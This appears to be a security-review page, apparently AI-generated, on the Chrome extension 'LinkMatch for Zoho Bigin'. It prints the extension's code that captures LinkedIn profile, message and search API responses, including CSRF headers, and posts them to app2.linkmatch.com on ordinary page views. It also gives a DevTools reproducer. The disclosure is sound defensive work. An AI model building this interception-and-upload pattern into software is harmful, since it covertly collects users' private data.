Is LinkMatch for Zoho Bigin safe?

Medium risk

LinkMatch for Zoho Bigin sends LinkedIn profile, inbox and search API responses to app2.linkmatch.com as you browse.

On LinkedIn pages, including Sales Navigator and Recruiter, the extension wraps fetch and XHR calls and captures the API responses for profiles, contact info, messages and search results. Once you are logged in to LinkMatch, it uploads these to app2.linkmatch.com on passive page views, not only when you save a contact.

Yuriy Yazlovytskyyv3.35Chrome Web Store
49Risk
Who publishes it

Logical Pure Minds SRL - 9 other listings from the same operator, 6 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Yuriy Yazlovytskyy
Declared legal entity
Logical Pure Minds SRL
Website
linkmatch.com

Same store account

9 other listings published from this account, 12k+ users between them. 6 of them carry a finding.

LinkMatch for Zoho CRM4k+LowLinkMatch4k+MediumLinkMatch2k+MediumLinkMatch1k+LowLinkMatch for Close432MediumLinkMatch for CSV396Medium3 more listings in the relationship graph, on paid plans →

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

LinkMatch posts LinkedIn API responses to app2.linkmatch.com on page load

Code analysis shows the extension copies LinkedIn profile, inbox and search API responses as they load and posts them to app2.linkmatch.com/api/s_data once a LinkMatch login exists.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You open a LinkedIn profile, inbox, Sales Navigator or Recruiter page.

A LinkMatch login must already exist in the extension.

The extension did this

The extension copies the API responses the page receives and posts them to app2.linkmatch.com.

No save or export click is needed.

The code that does this

Page-world hook copies matching responses and posts them to the window

Readable version

Content script receives the copy

content-script-bundle.js
const e = r => {  var o;  if (((o = r.data) === null || o === void 0 ? void 0 : o.type) === "REQ_RESPONSE") {    const i = r.data;    R7e(i.url, i.response, i.request)  }};window.addEventListener("message", e, !1)

Upload to LinkMatch

content-script-bundle.js
vX = (e, t) => {  let r = `${_a.linkmatch_host2}/api/s_data`;  return $d().then(o => o.caseOf({    just: i => Ya(r, {      data: bi({        user_id: i.email,        data: e,        type: t,        s: i.s,        app: _a.ats      })    }, "application/json").then(_ => _.caseOf({ left: O => ({ success: !1 }), right: O => O })),    nothing: () => Promise.resolve({ success: !1 })  }))}
Fields in the s_data upload body (before encryption)
  • LinkMatch account
    user@example.com (illustrative)

    The email of the signed-in LinkMatch user is attached to each upload.

  • Intercepted response
    voyagerIdentityDashProfiles response JSON

    The parsed LinkedIn API JSON for profiles, contact info, inbox or search.

  • Request headers
    csrf-token, x-li-lang

    Headers the page set on the LinkedIn API request are captured with the response.

  • Source URL
    https://www.linkedin.com/voyager/api/graphql?...

    The LinkedIn API URL that produced the response.

Destination of the upload
    • app2.linkmatch.com

    Receives POST /api/s_data containing the intercepted LinkedIn responses.

Reproduce it yourself

Logs the REQ_RESPONSE messages the page-world hook posts while LinkedIn loads.

Requires
  • Chrome with the extension installed
  • A LinkMatch login
observe_req_response.js · js
// Reproducer: logs what the page-world hook posts when LinkedIn API responses load.// Paste in DevTools console on a linkedin.com tab (isolated-world listeners are not needed;// window.postMessage is visible to the page). Reload the page with the extension signed in.window.addEventListener("message", (ev) => {  const d = ev.data;  if (d && d.type === "REQ_RESPONSE") {    console.log("REQ_RESPONSE", d.url, Object.keys(d.request.headers || {}), typeof d.response);  }});// Then watch the extension service worker / Network panel for://   POST https://app2.linkmatch.com/api/s_data
How to run it
  1. 1Sign in to the extension.
  2. 2Open linkedin.com, paste into DevTools console.
  3. 3Reload a profile.
  4. 4Watch for POST app2.linkmatch.com/api/s_data.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed LinkMatch for Zoho Bigin contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • app2.linkmatch.com

    LinkMatch for Zoho Bigin sends data to app2.linkmatch.com. 6 other extensions we have analysed send data here.

Updated 15 October 2026cocagemdebkokapokdkmbomcijnjaigh